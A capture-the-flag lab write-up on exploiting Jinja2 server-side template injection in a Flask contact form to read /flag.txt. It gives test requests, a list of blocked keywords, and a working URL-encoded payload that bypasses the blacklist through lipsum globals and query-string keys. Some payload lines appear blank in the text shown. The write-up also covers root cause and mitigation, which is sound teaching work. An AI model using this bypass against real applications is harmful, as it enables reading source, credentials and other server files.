Server-Side Template Injection Leads to Arbitrary File Read | HammerHopper
Lab Link
Overview
HammerHopper was a WebVerse Pro lab focused on a vulnerable construction company contact form. The application accepted user-supplied input through the /contact endpoint and reflected the submitted name inside a thank-you page.
During testing, the name parameter was not treated as plain text. Instead, it was evaluated by the server-side template engine. This allowed Jinja2 Server-Side Template Injection. Basic expressions such as `` were evaluated successfully, confirming template execution.
Direct command execution using common Flask/Jinja payloads was blocked or rendered back as literal text. However, the template context still exposed useful objects. By accessing Jinja globals through the lipsum helper and using Python built-ins, it was possible to read /flag.txt directly without relying on shell execution.
Objective
The objective was to identify the vulnerability in the contact form, escalate the template injection primitive, and retrieve the flag from the server.
Vulnerability Identification
The contact form submitted data to the following endpoint:
1
2
3
POST /contact HTTP/1.1
Host: redacted
Content-Type: application/x-www-form-urlencoded
The initial SSTI test was placed in the name parameter:
1
name=&email=kelvin@kel.com&phone=1111&message=test
The server responded with the evaluated result:
1
<h1 class="thanks-h">Thank you 49, we'll get back to you!</h1>
This confirmed that the application was evaluating user-controlled input as a Jinja template.
A second test confirmed Flask/Jinja context access:
1
The response showed:
1
False
Another test showed the request object was available:
1
The response contained a Flask request object:
1
<Request 'http://redacted/contact' [POST]>
Recon and Filter Behavior
Common Jinja2 RCE payloads were tested first:
1
Instead of executing, the payload was reflected back literally:
1
Thank you , we'll get back to you!
This indicated that the application likely had filtering or blocking logic for dangerous template patterns such as:
1
2
3
4
5
6
__globals__
__builtins__
os
popen
attr
cycler
The SSTI itself was still valid, but direct shell execution was blocked.
Exploitation
Since os.popen() was blocked, the exploit path shifted from command execution to arbitrary file read using Python built-ins.
The useful Jinja object was lipsum, which exposes access to its global namespace. Dangerous strings were moved into query-string parameters so they did not appear directly inside the name value.
The final payload used this template expression:
1
The query string supplied the dangerous attribute names indirectly:
1
/contact?g=__globals__&b=__builtins__&o=open&path=/flag.txt&r=read
The complete request body was:
1
name=%7B%7Blipsum%5Brequest.args.g%5D%5Brequest.args.b%5D%5Brequest.args.o%5D%28request.args.path%29%5Brequest.args.r%5D%28%29%7D%7D&email=kelvin%40kel.com&phone=1111&message=test
Decoded, the payload effectively became:
1
This allowed the template engine to open and read /flag.txt directly.
Proof of Exploitation
The final request successfully read the flag file from the server.
1
WEBVERSE{REDACTED}
Root Cause
The root cause was unsafe server-side rendering of user-controlled input. The submitted name value was passed into a Jinja template evaluation path instead of being treated as plain text.
The application attempted to block obvious payloads, but the blacklist approach was incomplete. Attackers could still access sensitive objects indirectly through existing template context variables and query-string controlled keys.
Impact
The vulnerability allowed an attacker to execute arbitrary Jinja expressions on the server.
In this lab, direct shell execution through os.popen() was blocked, but the attacker could still use Python built-ins to read arbitrary local files. This led to disclosure of the flag from /flag.txt.
In a real-world application, this could expose:
- Application source code
- Configuration files
- Environment variables
- Credentials and API keys
- Local files readable by the web server user
Depending on the available objects and runtime restrictions, SSTI can also lead to full remote code execution.
Mitigation
To prevent this vulnerability:
- Never render user input as a server-side template.
- Treat user-controlled values as data, not template source.
- Pass user input into templates only as escaped variables.
- Avoid
render_template_string()with untrusted input. - Do not rely on blacklists for SSTI prevention.
- Use strict sandboxing where template evaluation is unavoidable.
- Apply allowlist validation for fields such as names, emails, and phone numbers.
- Run the application with least-privilege filesystem access.
A safe rendering pattern should look like this:
1
return render_template("thanks.html", name=user_name)
The template should then display the variable normally:
1
Thank you
The application should not build a new template string from the submitted name.
Lessons Learned
This lab demonstrated that SSTI does not always require direct command execution to be dangerous. Even when common RCE gadgets are blocked, exposed template globals can still provide powerful primitives.
The key lesson is that blacklisting payload strings is not a reliable defense. The correct fix is to remove the unsafe template evaluation pattern entirely and ensure user input is rendered only as escaped data.
